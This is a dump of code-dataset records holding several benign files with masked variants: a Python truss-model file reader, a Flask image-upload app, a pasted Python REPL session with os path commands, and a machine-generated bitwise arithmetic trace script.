result[section]['number_of_elements'] += int(el[1])\n elif section == 'incidences':\n groups = result['element_groups']['groups']\n nodes = result['coordinates']['nodes']\n print(el)\n currentGroup = groups[groupCounter]\n if currentGroup.amount == 0:\n groupCounter += 1\n currentGroup = groups[groupCounter]\n print('Group n: {} count: {}'.format(currentGroup.n,\n currentGroup.amount))\n bar = Bar(el[0], nodes[int(el[1]) - 1], nodes[int(el[2]\n ) - 1], groups[groupCounter])\n print(\n \"\"\"\n Bar {} created \n Start node: {} End Node: {} Group: {}\n \"\"\"\n .format(bar.id, bar.startNode.n, bar.endNode.n, bar\n .group))\n result['bars'].append(bar)\n currentGroup.amount -= 1\n elif section == 'materials':\n if len(el) == 1:\n result[section]['count'] = el[0]\n groupCounter = 0\n else:\n material = Material(el[0], el[1], el[2])\n result[section]['materials'].append(material)\n result['element_groups']['groups'][groupCounter\n ].setMaterial(material)\n groupCounter += 1\n elif section == 'geometric_properties':\n if geometricCounter == 0:\n result[section]['count'] = el[0]\n else:\n result['element_groups']['groups'][geometricCounter - 1\n ].setSectionArea(el[0])\n geometricCounter += 1\n elif section == 'bcnodes':\n if len(el) == 1:\n result[section]['count'] = el[0]\n else:\n nodeIndex = next((e for e, item in enumerate(result\n ['coordinates']['nodes']) if item.n == int(el[0\n ])), None)\n result['coordinates']['nodes'][nodeIndex\n ].setRestriction(int(el[1]))\n elif section == 'loads':\n if len(el) == 1:\n result[section]['count'] = el[0]\n else:\n load = Load(el[1], el[2])\n nodeIndex = next((e for e, item in enumerate(result\n ['coordinates']['nodes']) if item.n == int(el[0\n ])), None)\n result['coordinates']['nodes'][nodeIndex].addLoad(load)\n for bar in result['bars']:\n bar.createLocalArray()\n print('---------- Parsing complete! ----------')\n pprint(result)\n print('---------------------------------------')\n return result\n", "step-4": "from elements import Node, Bar, Material, Group, Load\nfrom pprint import pprint\n\n\nclass Reader:\n\n def read(self, filePath):\n \"\"\"\n Reads text file with nodes and returns the result dict with all objects\n and their nested properties\n \"\"\"\n result = {'coordinates': {'count': 0, 'nodes': []},\n 'element_groups': {'number_of_elements': 0, 'count': 0,\n 'groups': []}, 'bars': [], 'materials': {'count': 0,\n 'materials': []}, 'geometric_properties': {'count': 0},\n 'bcnodes': {'count': 0}, 'loads': {'count': 0}}\n with open(filePath, 'r') as f:\n lines = f.readlines()\n elementCounter = 0\n groupCounter = 0\n geometricCounter = 0\n for line in lines:\n line = line.strip()\n el = line.split(' ')\n if len(line) == 0:\n continue\n if len(line) != 0 and line[0] == '*':\n section = line[1:].lower()\n continue\n if section == 'coordinates':\n if len(el) == 1:\n result[section]['count'] = el[0]\n else:\n result[section]['nodes'].append(Node(int(el[0]),\n float(el[1]), float(el[2])))\n elif section == 'element_groups':\n if len(line) == 1:\n result[section]['count'] = int(el[0])\n else:\n result[section]['groups'].append(Group(el[0], el[1],\n el[2]))\n result[section]['number_of_elements'] += int(el[1])\n elif section == 'incidences':\n groups = result['element_groups']['groups']\n nodes = result['coordinates']['nodes']\n print(el)\n currentGroup = groups[groupCounter]\n if currentGroup.amount == 0:\n groupCounter += 1\n currentGroup = groups[groupCounter]\n print('Group n: {} count: {}'.format(currentGroup.n,\n currentGroup.amount))\n bar = Bar(el[0], nodes[int(el[1]) - 1], nodes[int(el[2]\n ) - 1], groups[groupCounter])\n print(\n \"\"\"\n Bar {} created \n Start node: {} End Node: {} Group: {}\n \"\"\"\n .format(bar.id, bar.startNode.n, bar.endNode.n, bar\n .group))\n result['bars'].append(bar)\n currentGroup.amount -= 1\n elif section == 'materials':\n if len(el) == 1:\n result[section]['count'] = el[0]\n groupCounter = 0\n else:\n material = Material(el[0], el[1], el[2])\n result[section]['materials'].append(material)\n result['element_groups']['groups'][groupCounter\n ].setMaterial(material)\n groupCounter += 1\n elif section == 'geometric_properties':\n if geometricCounter == 0:\n result[section]['count'] = el[0]\n else:\n result['element_groups']['groups'][geometricCounter - 1\n ].setSectionArea(el[0])\n geometricCounter += 1\n elif section == 'bcnodes':\n if len(el) == 1:\n result[section]['count'] = el[0]\n else:\n nodeIndex = next((e for e, item in enumerate(result\n ['coordinates']['nodes']) if item.n == int(el[0\n ])), None)\n result['coordinates']['nodes'][nodeIndex\n ].setRestriction(int(el[1]))\n elif section == 'loads':\n if len(el) == 1:\n result[section]['count'] = el[0]\n else:\n load = Load(el[1], el[2])\n nodeIndex = next((e for e, item in enumerate(result\n ['coordinates']['nodes']) if item.n == int(el[0\n ])), None)\n result['coordinates']['nodes'][nodeIndex].addLoad(load)\n for bar in result['bars']:\n bar.createLocalArray()\n print('---------- Parsing complete! ----------')\n pprint(result)\n print('---------------------------------------')\n return result\n", "step-5": "from elements import Node, Bar, Material, Group, Load\nfrom pprint import pprint\n\n# query\n# next((e for e in result['coordinates']['nodes'] if e.n == int(el[0])), None)\n\nclass Reader():\n def read(self, filePath):\n \"\"\"\n Reads text file with nodes and returns the result dict with all objects\n and their nested properties\n \"\"\"\n \n result = {\n 'coordinates': {\n 'count': 0,\n 'nodes': []\n },\n 'element_groups': { \n 'number_of_elements': 0,\n 'count': 0,\n 'groups': []\n },\n 'bars': [],\n 'materials': {\n 'count': 0,\n 'materials': []\n },\n 'geometric_properties': {\n 'count': 0\n },\n 'bcnodes': {\n 'count': 0\n },\n 'loads': {\n 'count': 0\n }\n }\n # print(result['coordinates']['nodes'])\n \n with open(filePath,'r') as f:\n lines = f.readlines()\n elementCounter = 0\n groupCounter = 0\n geometricCounter = 0\n\n for line in lines:\n line = line.strip()\n el = line.split(' ')\n \n if len(line) == 0:\n continue\n\n if len(line) != 0 and line[0] == \"*\":\n section = line[1:].lower()\n continue\n \n if section == 'coordinates':\n if len(el) == 1 :\n result[section]['count'] = el[0]\n else:\n result[section]['nodes'].append(Node(int(el[0]), float(el[1]), float(el[2])))\n \n elif section == 'element_groups':\n if len(line) == 1:\n result[section]['count'] = int(el[0])\n else: \n result[section]['groups'].append(Group(el[0], el[1], el[2]))\n result[section]['number_of_elements'] += int(el[1])\n\n elif section == 'incidences':\n groups = result['element_groups']['groups']\n nodes = result['coordinates']['nodes']\n print(el)\n\n currentGroup = groups[groupCounter]\n if (currentGroup.amount == 0):\n groupCounter += 1\n currentGroup = groups[groupCounter]\n \n print(\"Group n: {} count: {}\".format(currentGroup.n, currentGroup.amount))\n \n bar = Bar(el[0], nodes[int(el[1])-1], nodes[int(el[2])-1], groups[groupCounter])\n print(\n \"\"\"\n Bar {} created \n Start node: {} End Node: {} Group: {}\n \"\"\".format(bar.id, bar.startNode.n, bar.endNode.n, bar.group))\n result['bars'].append(bar)\n currentGroup.amount -= 1\n \n elif section == 'materials':\n if len(el) == 1:\n result[section]['count'] = el[0]\n groupCounter = 0\n else:\n material = Material(el[0], el[1], el[2])\n result[section]['materials'].append(material)\n result['element_groups']['groups'][groupCounter].setMaterial(material)\n groupCounter += 1\n\n elif section == 'geometric_properties':\n if geometricCounter == 0:\n result[section]['count'] = el[0]\n else:\n result['element_groups']['groups'][geometricCounter - 1].setSectionArea(\n el[0]\n )\n geometricCounter += 1\n\n elif section == 'bcnodes':\n if len(el) == 1:\n result[section]['count'] = el[0]\n else:\n nodeIndex = next((e for e, item in enumerate(\n result['coordinates']['nodes']) if item.n == int(el[0])), None\n )\n result['coordinates']['nodes'][nodeIndex].setRestriction(int(el[1]))\n\n elif section == 'loads':\n if len(el) == 1:\n result[section]['count'] = el[0]\n else:\n load = Load(el[1], el[2])\n nodeIndex = next((e for e, item in enumerate(\n result['coordinates']['nodes']) if item.n == int(el[0])), None\n )\n result['coordinates']['nodes'][nodeIndex].addLoad(load)\n\n for bar in result['bars']:\n bar.createLocalArray()\n\n print('---------- Parsing complete! ----------')\n pprint(result)\n print('---------------------------------------')\n\n return result\n \n\n# reader = Reader()\n# reader.read(\"./arquivoentrada.fem\")\n\n\n", "step-ids": [ 0, 1, 2, 3, 4 ] }
[ 0, 1, 2, 3, 4 ]
# -*- coding: utf-8 -*- import os from flask import Flask, request,render_template,url_for from flask_uploads import UploadSet, configure_uploads, IMAGES, patch_request_class import sys sys.path.insert(1, 'script') from backend import model import io from PIL import Image import base64 import numpy as np app = Flask(__name__) app.config['UPLOADED_PHOTOS_DEST'] = os.path.realpath('images') photos = UploadSet('photos', IMAGES) configure_uploads(app, photos) patch_request_class(app) @app.route('/', methods=['GET', 'POST']) def upload_file(): if request.method == 'POST' and 'photo' in request.files: filename = photos.save(request.files['photo']) file_url = photos.url(filename) path,label,element = model(file_url) result = [] for el in path : img = Image.fromarray((el * 255).astype(np.uint8)) file_object = io.BytesIO() img.save(file_object, 'jpeg',quality=100) figdata_jgp = base64.b64encode(file_object.getvalue()) result.append(figdata_jgp.decode('ascii')) return render_template('display.html',image = file_url,label = element, results=zip(result,label)) return render_template('index.html') app.run(threaded=False) render_template('index.html')
normal
{ "blob_id": "93d0d73d56b04bba505265958fccff229f5eaf49", "index": 872, "step-1": "<mask token>\n\n\[email protected]('/', methods=['GET', 'POST'])\ndef upload_file():\n if request.method == 'POST' and 'photo' in request.files:\n filename = photos.save(request.files['photo'])\n file_url = photos.url(filename)\n path, label, element = model(file_url)\n result = []\n for el in path:\n img = Image.fromarray((el * 255).astype(np.uint8))\n file_object = io.BytesIO()\n img.save(file_object, 'jpeg', quality=100)\n figdata_jgp = base64.b64encode(file_object.getvalue())\n result.append(figdata_jgp.decode('ascii'))\n return render_template('display.html', image=file_url, label=\n element, results=zip(result, label))\n return render_template('index.html')\n\n\n<mask token>\n", "step-2": "<mask token>\nsys.path.insert(1, 'script')\n<mask token>\nconfigure_uploads(app, photos)\npatch_request_class(app)\n\n\[email protected]('/', methods=['GET', 'POST'])\ndef upload_file():\n if request.method == 'POST' and 'photo' in request.files:\n filename = photos.save(request.files['photo'])\n file_url = photos.url(filename)\n path, label, element = model(file_url)\n result = []\n for el in path:\n img = Image.fromarray((el * 255).astype(np.uint8))\n file_object = io.BytesIO()\n img.save(file_object, 'jpeg', quality=100)\n figdata_jgp = base64.b64encode(file_object.getvalue())\n result.append(figdata_jgp.decode('ascii'))\n return render_template('display.html', image=file_url, label=\n element, results=zip(result, label))\n return render_template('index.html')\n\n\napp.run(threaded=False)\nrender_template('index.html')\n", "step-3": "<mask token>\nsys.path.insert(1, 'script')\n<mask token>\napp = Flask(__name__)\napp.config['UPLOADED_PHOTOS_DEST'] = os.path.realpath('images')\nphotos = UploadSet('photos', IMAGES)\nconfigure_uploads(app, photos)\npatch_request_class(app)\n\n\[email protected]('/', methods=['GET', 'POST'])\ndef upload_file():\n if request.method == 'POST' and 'photo' in request.files:\n filename = photos.save(request.files['photo'])\n file_url = photos.url(filename)\n path, label, element = model(file_url)\n result = []\n for el in path:\n img = Image.fromarray((el * 255).astype(np.uint8))\n file_object = io.BytesIO()\n img.save(file_object, 'jpeg', quality=100)\n figdata_jgp = base64.b64encode(file_object.getvalue())\n result.append(figdata_jgp.decode('ascii'))\n return render_template('display.html', image=file_url, label=\n element, results=zip(result, label))\n return render_template('index.html')\n\n\napp.run(threaded=False)\nrender_template('index.html')\n", "step-4": "import os\nfrom flask import Flask, request, render_template, url_for\nfrom flask_uploads import UploadSet, configure_uploads, IMAGES, patch_request_class\nimport sys\nsys.path.insert(1, 'script')\nfrom backend import model\nimport io\nfrom PIL import Image\nimport base64\nimport numpy as np\napp = Flask(__name__)\napp.config['UPLOADED_PHOTOS_DEST'] = os.path.realpath('images')\nphotos = UploadSet('photos', IMAGES)\nconfigure_uploads(app, photos)\npatch_request_class(app)\n\n\[email protected]('/', methods=['GET', 'POST'])\ndef upload_file():\n if request.method == 'POST' and 'photo' in request.files:\n filename = photos.save(request.files['photo'])\n file_url = photos.url(filename)\n path, label, element = model(file_url)\n result = []\n for el in path:\n img = Image.fromarray((el * 255).astype(np.uint8))\n file_object = io.BytesIO()\n img.save(file_object, 'jpeg', quality=100)\n figdata_jgp = base64.b64encode(file_object.getvalue())\n result.append(figdata_jgp.decode('ascii'))\n return render_template('display.html', image=file_url, label=\n element, results=zip(result, label))\n return render_template('index.html')\n\n\napp.run(threaded=False)\nrender_template('index.html')\n", "step-5": "\n# -*- coding: utf-8 -*-\nimport os\nfrom flask import Flask, request,render_template,url_for\nfrom flask_uploads import UploadSet, configure_uploads, IMAGES, patch_request_class\nimport sys\nsys.path.insert(1, 'script')\nfrom backend import model\nimport io\nfrom PIL import Image\nimport base64\nimport numpy as np\n\n\n\n\napp = Flask(__name__)\napp.config['UPLOADED_PHOTOS_DEST'] = os.path.realpath('images')\n\n\n\nphotos = UploadSet('photos', IMAGES)\nconfigure_uploads(app, photos)\npatch_request_class(app) \n\[email protected]('/', methods=['GET', 'POST'])\ndef upload_file():\n if request.method == 'POST' and 'photo' in request.files:\n filename = photos.save(request.files['photo'])\n file_url = photos.url(filename)\n path,label,element = model(file_url)\n result = []\n for el in path :\n img = Image.fromarray((el * 255).astype(np.uint8))\n file_object = io.BytesIO()\n img.save(file_object, 'jpeg',quality=100)\n figdata_jgp = base64.b64encode(file_object.getvalue())\n result.append(figdata_jgp.decode('ascii'))\n return render_template('display.html',image = file_url,label = element, results=zip(result,label))\n return render_template('index.html')\n\n\napp.run(threaded=False)\nrender_template('index.html')\n", "step-ids": [ 1, 2, 3, 4, 5 ] }
[ 1, 2, 3, 4, 5 ]
# -*- coding: utf-8 -*- """ Created on Mon Apr 16 21:26:03 2018 @author: Brandon """os.getcwd() Traceback (most recent call last): File "<stdin>", line 1, in <module> NameError: name 'os' is not definimport os >>> os.getcwd() 'C:\\Users\\Brandon\\AppData\\Local\\Programs\\Python\\Python36-32' >>> os.chdir() Traceback (most recent call last): File "<stdin>", line 1, in <module> TypeError: Required argument 'path' (pos 1) not found >>> os.chdir() Traceback (most recent call last): File "<stdin>", line 1, in <module> TypeError: Required argument 'path' (pos 1) not found >>> >>> os.chdir("C:\\Users\\Brandon\Documents") >>> os.getcwd() 'C:\\Users\\Brandon\\Documents' >>> os.makedirs() Traceback (most recent call last): File "<stdin>", line 1, in <module> TypeError: makedirs() missing 1 required positional argument: 'name' >>> os.makedirs("yu") >>> os.chdir("\\yu") Traceback (most recent call last): File "<stdin>", line 1, in <module> FileNotFoundError: [WinError 2] The system cannot find the file specified: '\\yu' >>> os.chdir(".\\yu") >>> os.getcwd() 'C:\\Users\\Brandon\\Documents\\yu' >>> os.path.getsize(yu) Traceback (most recent call last): File "<stdin>", line 1, in <module> NameError: name 'yu' is not defined >>> os.path.getsize() Traceback (most recent call last): File "<stdin>", line 1, in <module> TypeError: getsize() missing 1 required positional argument: 'filename' >>> os.path.getsize() Traceback (most recent call last): File "<stdin>", line 1, in <module> TypeError: getsize() missing 1 required positional argument: 'filename' >>> os.path.exists() Traceback (most recent call last): File "<stdin>", line 1, in <module> TypeError: exists() missing 1 required positional argument: 'path' >>> os.path.exits("C:\\Users\\Brandon\\Documents\\yu") Traceback (most recent call last): File "<stdin>", line 1, in <module> AttributeError: module 'ntpath' has no attribute 'exits' >>> os.path.exists("C:\\Users\\Brandon\\Documents\\yu") True >>>
normal
{ "blob_id": "dc97703d39e7db29e0ba333c2797f4be6d015fd7", "index": 7886, "step-1": "# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Apr 16 21:26:03 2018\n\n@author: Brandon\n\"\"\"os.getcwd()\nTraceback (most recent call last):\n File \"<stdin>\", line 1, in <module>\nNameError: name 'os' is not definimport os\n>>> os.getcwd()\n'C:\\\\Users\\\\Brandon\\\\AppData\\\\Local\\\\Programs\\\\Python\\\\Python36-32'\n>>> os.chdir()\nTraceback (most recent call last):\n File \"<stdin>\", line 1, in <module>\nTypeError: Required argument 'path' (pos 1) not found\n>>> os.chdir()\nTraceback (most recent call last):\n File \"<stdin>\", line 1, in <module>\nTypeError: Required argument 'path' (pos 1) not found\n>>>\n>>> os.chdir(\"C:\\\\Users\\\\Brandon\\Documents\")\n>>> os.getcwd()\n'C:\\\\Users\\\\Brandon\\\\Documents'\n>>> os.makedirs()\nTraceback (most recent call last):\n File \"<stdin>\", line 1, in <module>\nTypeError: makedirs() missing 1 required positional argument: 'name'\n>>> os.makedirs(\"yu\")\n>>> os.chdir(\"\\\\yu\")\nTraceback (most recent call last):\n File \"<stdin>\", line 1, in <module>\nFileNotFoundError: [WinError 2] The system cannot find the file specified: '\\\\yu'\n>>> os.chdir(\".\\\\yu\")\n>>> os.getcwd()\n'C:\\\\Users\\\\Brandon\\\\Documents\\\\yu'\n>>> os.path.getsize(yu)\nTraceback (most recent call last):\n File \"<stdin>\", line 1, in <module>\nNameError: name 'yu' is not defined\n>>> os.path.getsize()\nTraceback (most recent call last):\n File \"<stdin>\", line 1, in <module>\nTypeError: getsize() missing 1 required positional argument: 'filename'\n>>> os.path.getsize()\nTraceback (most recent call last):\n File \"<stdin>\", line 1, in <module>\nTypeError: getsize() missing 1 required positional argument: 'filename'\n>>> os.path.exists()\nTraceback (most recent call last):\n File \"<stdin>\", line 1, in <module>\nTypeError: exists() missing 1 required positional argument: 'path'\n>>> os.path.exits(\"C:\\\\Users\\\\Brandon\\\\Documents\\\\yu\")\nTraceback (most recent call last):\n File \"<stdin>\", line 1, in <module>\nAttributeError: module 'ntpath' has no attribute 'exits'\n>>> os.path.exists(\"C:\\\\Users\\\\Brandon\\\\Documents\\\\yu\")\nTrue\n>>>\n", "step-2": null, "step-3": null, "step-4": null, "step-5": null, "step-ids": [ 0 ] }
[ 0 ]
#!/usr/bin/env python2 ## -*- coding: utf-8 -*- import sys def sx(bits, value): sign_bit = 1 << (bits - 1) return (value & (sign_bit - 1)) - (value & sign_bit) SymVar_0 = int(sys.argv[1]) ref_263 = SymVar_0 ref_278 = ref_263 # MOV operation ref_5710 = ref_278 # MOV operation ref_5786 = ref_5710 # MOV operation ref_5800 = (0x1F02C962 | ref_5786) # OR operation ref_5901 = ref_5800 # MOV operation ref_5915 = (0x1F8797B2 & ref_5901) # AND operation ref_6846 = ref_5915 # MOV operation ref_7764 = ref_6846 # MOV operation ref_8577 = ref_278 # MOV operation ref_8653 = ref_8577 # MOV operation ref_8665 = ref_7764 # MOV operation ref_8667 = (ref_8665 & ref_8653) # AND operation ref_9598 = ref_8667 # MOV operation ref_10431 = ref_278 # MOV operation ref_10631 = ref_10431 # MOV operation ref_10637 = (((sx(0x40, 0x66AF1DF) * sx(0x40, ref_10631)) & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF) & 0xFFFFFFFFFFFFFFFF) # IMUL operation ref_11673 = ref_9598 # MOV operation ref_11749 = ref_11673 # MOV operation ref_11763 = ((ref_11749 << (0x39 & 0x3F)) & 0xFFFFFFFFFFFFFFFF) # SHL operation ref_12802 = ref_9598 # MOV operation ref_12878 = ref_12802 # MOV operation ref_12892 = (ref_12878 >> (0x7 & 0x3F)) # SHR operation ref_12993 = ref_12892 # MOV operation ref_13005 = ref_11763 # MOV operation ref_13007 = (ref_13005 | ref_12993) # OR operation ref_13116 = ref_10637 # MOV operation ref_13120 = ref_13007 # MOV operation ref_13122 = ((ref_13120 + ref_13116) & 0xFFFFFFFFFFFFFFFF) # ADD operation ref_14054 = ref_13122 # MOV operation ref_22590 = ref_14054 # MOV operation ref_23808 = ref_14054 # MOV operation ref_23892 = ref_22590 # MOV operation ref_23896 = ref_23808 # MOV operation ref_23898 = ((ref_23896 + ref_23892) & 0xFFFFFFFFFFFFFFFF) # ADD operation ref_24830 = ref_23898 # MOV operation ref_26068 = ref_9598 # MOV operation ref_26144 = ref_26068 # MOV operation ref_26158 = (0x7 & ref_26144) # AND operation ref_26259 = ref_26158 # MOV operation ref_26273 = ((ref_26259 << (0x2 & 0x3F)) & 0xFFFFFFFFFFFFFFFF) # SHL operation ref_27516 = ref_14054 # MOV operation ref_27592 = ref_27516 # MOV operation ref_27604 = ref_26273 # MOV operation ref_27606 = (ref_27604 | ref_27592) # OR operation ref_28857 = ref_27606 # MOV operation ref_28859 = ((ref_28857 >> 56) & 0xFF) # Byte reference - MOV operation ref_28860 = ((ref_28857 >> 48) & 0xFF) # Byte reference - MOV operation ref_28861 = ((ref_28857 >> 40) & 0xFF) # Byte reference - MOV operation ref_28862 = ((ref_28857 >> 32) & 0xFF) # Byte reference - MOV operation ref_28863 = ((ref_28857 >> 24) & 0xFF) # Byte reference - MOV operation ref_28864 = ((ref_28857 >> 16) & 0xFF) # Byte reference - MOV operation ref_28865 = ((ref_28857 >> 8) & 0xFF) # Byte reference - MOV operation ref_28866 = (ref_28857 & 0xFF) # Byte reference - MOV operation ref_30829 = ref_28859 # MOVZX operation ref_30905 = (ref_30829 & 0xFF) # MOVZX operation ref_34489 = ref_28866 # MOVZX operation ref_34565 = (ref_34489 & 0xFF) # MOVZX operation ref_34567 = (ref_34565 & 0xFF) # Byte reference - MOV operation ref_36529 = (ref_30905 & 0xFF) # MOVZX operation ref_36605 = (ref_36529 & 0xFF) # MOVZX operation ref_36607 = (ref_36605 & 0xFF) # Byte reference - MOV operation ref_37835 = ref_9598 # MOV operation ref_39053 = ((((((((ref_34567) << 8 | ref_28860) << 8 | ref_28861) << 8 | ref_28862) << 8 | ref_28863) << 8 | ref_28864) << 8 | ref_28865) << 8 | ref_36607) # MOV operation ref_39129 = ref_39053 # MOV operation ref_39141 = ref_37835 # MOV operation ref_39143 = (ref_39141 & ref_39129) # AND operation ref_39244 = ref_39143 # MOV operation ref_39258 = (0x1F & ref_39244) # AND operation ref_39359 = ref_39258 # MOV operation ref_39373 = ((ref_39359 << (0x4 & 0x3F)) & 0xFFFFFFFFFFFFFFFF) # SHL operation ref_40296 = ref_6846 # MOV operation ref_40372 = ref_40296 # MOV operation ref_40384 = ref_39373 # MOV operation ref_40386 = (ref_40384 | ref_40372) # OR operation ref_41317 = ref_40386 # MOV operation ref_43860 = ref_24830 # MOV operation ref_45078 = ref_24830 # MOV operation ref_45162 = ref_43860 # MOV operation ref_45166 = ref_45078 # MOV operation ref_45168 = ((ref_45166 + ref_45162) & 0xFFFFFFFFFFFFFFFF) # ADD operation ref_46100 = ref_45168 # MOV operation ref_47338 = ((((((((ref_34567) << 8 | ref_28860) << 8 | ref_28861) << 8 | ref_28862) << 8 | ref_28863) << 8 | ref_28864) << 8 | ref_28865) << 8 | ref_36607) # MOV operation ref_47414 = ref_47338 # MOV operation ref_47428 = (0x7 & ref_47414) # AND operation ref_47529 = ref_47428 # MOV operation ref_47543 = ((ref_47529 << (0x2 & 0x3F)) & 0xFFFFFFFFFFFFFFFF) # SHL operation ref_48786 = ref_46100 # MOV operation ref_48862 = ref_48786 # MOV operation ref_48874 = ref_47543 # MOV operation ref_48876 = (ref_48874 | ref_48862) # OR operation ref_50127 = ref_48876 # MOV operation ref_50129 = ((ref_50127 >> 56) & 0xFF) # Byte reference - MOV operation ref_50130 = ((ref_50127 >> 48) & 0xFF) # Byte reference - MOV operation ref_50131 = ((ref_50127 >> 40) & 0xFF) # Byte reference - MOV operation ref_50132 = ((ref_50127 >> 32) & 0xFF) # Byte reference - MOV operation ref_50133 = ((ref_50127 >> 24) & 0xFF) # Byte reference - MOV operation ref_50134 = ((ref_50127 >> 16) & 0xFF) # Byte reference - MOV operation ref_50135 = ((ref_50127 >> 8) & 0xFF) # Byte reference - MOV operation ref_50136 = (ref_50127 & 0xFF) # Byte reference - MOV operation ref_52099 = ref_50129 # MOVZX operation ref_52175 = (ref_52099 & 0xFF) # MOVZX operation ref_55759 = ref_50136 # MOVZX operation ref_55835 = (ref_55759 & 0xFF) # MOVZX operation ref_55837 = (ref_55835 & 0xFF) # Byte reference - MOV operation ref_57799 = (ref_52175 & 0xFF) # MOVZX operation ref_57875 = (ref_57799 & 0xFF) # MOVZX operation ref_57877 = (ref_57875 & 0xFF) # Byte reference - MOV operation ref_59105 = ((((((((ref_34567) << 8 | ref_28860) << 8 | ref_28861) << 8 | ref_28862) << 8 | ref_28863) << 8 | ref_28864) << 8 | ref_28865) << 8 | ref_36607) # MOV operation ref_60323 = ((((((((ref_55837) << 8 | ref_50130) << 8 | ref_50131) << 8 | ref_50132) << 8 | ref_50133) << 8 | ref_50134) << 8 | ref_50135) << 8 | ref_57877) # MOV operation ref_60399 = ref_60323 # MOV operation ref_60411 = ref_59105 # MOV operation ref_60413 = (ref_60411 & ref_60399) # AND operation ref_60514 = ref_60413 # MOV operation ref_60528 = (0x1F & ref_60514) # AND operation ref_60629 = ref_60528 # MOV operation ref_60643 = ((ref_60629 << (0x4 & 0x3F)) & 0xFFFFFFFFFFFFFFFF) # SHL operation ref_61566 = ref_41317 # MOV operation ref_61642 = ref_61566 # MOV operation ref_61654 = ref_60643 # MOV operation ref_61656 = (ref_61654 | ref_61642) # OR operation ref_62587 = ref_61656 # MOV operation ref_65203 = ((((((((ref_55837) << 8 | ref_50130) << 8 | ref_50131) << 8 | ref_50132) << 8 | ref_50133) << 8 | ref_50134) << 8 | ref_50135) << 8 | ref_57877) # MOV operation ref_66101 = ((((((((ref_34567) << 8 | ref_28860) << 8 | ref_28861) << 8 | ref_28862) << 8 | ref_28863) << 8 | ref_28864) << 8 | ref_28865) << 8 | ref_36607) # MOV operation ref_66177 = ref_66101 # MOV operation ref_66189 = ref_65203 # MOV operation ref_66191 = (ref_66189 | ref_66177) # OR operation ref_66292 = ref_66191 # MOV operation ref_66306 = (0xF & ref_66292) # AND operation ref_66407 = ref_66306 # MOV operation ref_66421 = (0x1 | ref_66407) # OR operation ref_66650 = ref_66421 # MOV operation ref_66652 = ((0x40 - ref_66650) & 0xFFFFFFFFFFFFFFFF) # SUB operation ref_66660 = ref_66652 # MOV operation ref_67926 = ref_9598 # MOV operation ref_68002 = ref_67926 # MOV operation ref_68016 = (ref_68002 >> (0x1 & 0x3F)) # SHR operation ref_68117 = ref_68016 # MOV operation ref_68131 = (0xF & ref_68117) # AND operation ref_68232 = ref_68131 # MOV operation ref_68246 = (0x1 | ref_68232) # OR operation ref_68475 = ref_68246 # MOV operation ref_68477 = ((0x40 - ref_68475) & 0xFFFFFFFFFFFFFFFF) # SUB operation ref_68485 = ref_68477 # MOV operation ref_69403 = ref_62587 # MOV operation ref_69479 = ref_69403 # MOV operation ref_69491 = ref_68485 # MOV operation ref_69493 = ((ref_69479 << ((ref_69491 & 0xFF) & 0x3F)) & 0xFFFFFFFFFFFFFFFF) # SHL operation ref_70764 = ref_9598 # MOV operation ref_70840 = ref_70764 # MOV operation ref_70854 = (ref_70840 >> (0x1 & 0x3F)) # SHR operation ref_70955 = ref_70854 # MOV operation ref_70969 = (0xF & ref_70955) # AND operation ref_71070 = ref_70969 # MOV operation ref_71084 = (0x1 | ref_71070) # OR operation ref_72007 = ref_62587 # MOV operation ref_72083 = ref_72007 # MOV operation ref_72095 = ref_71084 # MOV operation ref_72097 = (ref_72083 >> ((ref_72095 & 0xFF) & 0x3F)) # SHR operation ref_72198 = ref_72097 # MOV operation ref_72210 = ref_69493 # MOV operation ref_72212 = (ref_72210 | ref_72198) # OR operation ref_72313 = ref_72212 # MOV operation ref_72325 = ref_66660 # MOV operation ref_72327 = (ref_72313 >> ((ref_72325 & 0xFF) & 0x3F)) # SHR operation ref_73482 = ((((((((ref_55837) << 8 | ref_50130) << 8 | ref_50131) << 8 | ref_50132) << 8 | ref_50133) << 8 | ref_50134) << 8 | ref_50135) << 8 | ref_57877) # MOV operation ref_74380 = ((((((((ref_34567) << 8 | ref_28860) << 8 | ref_28861) << 8 | ref_28862) << 8 | ref_28863) << 8 | ref_28864) << 8 | ref_28865) << 8 | ref_36607) # MOV operation ref_74456 = ref_74380 # MOV operation ref_74468 = ref_73482 # MOV operation ref_74470 = (ref_74468 | ref_74456) # OR operation ref_74571 = ref_74470 # MOV operation ref_74585 = (0xF & ref_74571) # AND operation ref_74686 = ref_74585 # MOV operation ref_74700 = (0x1 | ref_74686) # OR operation ref_75971 = ref_9598 # MOV operation ref_76047 = ref_75971 # MOV operation ref_76061 = (ref_76047 >> (0x1 & 0x3F)) # SHR operation ref_76162 = ref_76061 # MOV operation ref_76176 = (0xF & ref_76162) # AND operation ref_76277 = ref_76176 # MOV operation ref_76291 = (0x1 | ref_76277) # OR operation ref_76520 = ref_76291 # MOV operation ref_76522 = ((0x40 - ref_76520) & 0xFFFFFFFFFFFFFFFF) # SUB operation ref_76530 = ref_76522 # MOV operation ref_77448 = ref_62587 # MOV operation ref_77524 = ref_77448 # MOV operation ref_77536 = ref_76530 # MOV operation ref_77538 = ((ref_77524 << ((ref_77536 & 0xFF) & 0x3F)) & 0xFFFFFFFFFFFFFFFF) # SHL operation ref_78809 = ref_9598 # MOV operation ref_78885 = ref_78809 # MOV operation ref_78899 = (ref_78885 >> (0x1 & 0x3F)) # SHR operation ref_79000 = ref_78899 # MOV operation ref_79014 = (0xF & ref_79000) # AND operation ref_79115 = ref_79014 # MOV operation ref_79129 = (0x1 | ref_79115) # OR operation ref_80052 = ref_62587 # MOV operation ref_80128 = ref_80052 # MOV operation ref_80140 = ref_79129 # MOV operation ref_80142 = (ref_80128 >> ((ref_80140 & 0xFF) & 0x3F)) # SHR operation ref_80243 = ref_80142 # MOV operation ref_80255 = ref_77538 # MOV operation ref_80257 = (ref_80255 | ref_80243) # OR operation ref_80358 = ref_80257 # MOV operation ref_80370 = ref_74700 # MOV operation ref_80372 = ((ref_80358 << ((ref_80370 & 0xFF) & 0x3F)) & 0xFFFFFFFFFFFFFFFF) # SHL operation ref_80473 = ref_80372 # MOV operation ref_80485 = ref_72327 # MOV operation ref_80487 = (ref_80485 | ref_80473) # OR operation ref_81342 = ref_80487 # MOV operation ref_81553 = ref_81342 # MOV operation ref_81555 = ref_81553 # MOV operation print ref_81555 & 0xffffffffffffffff
normal
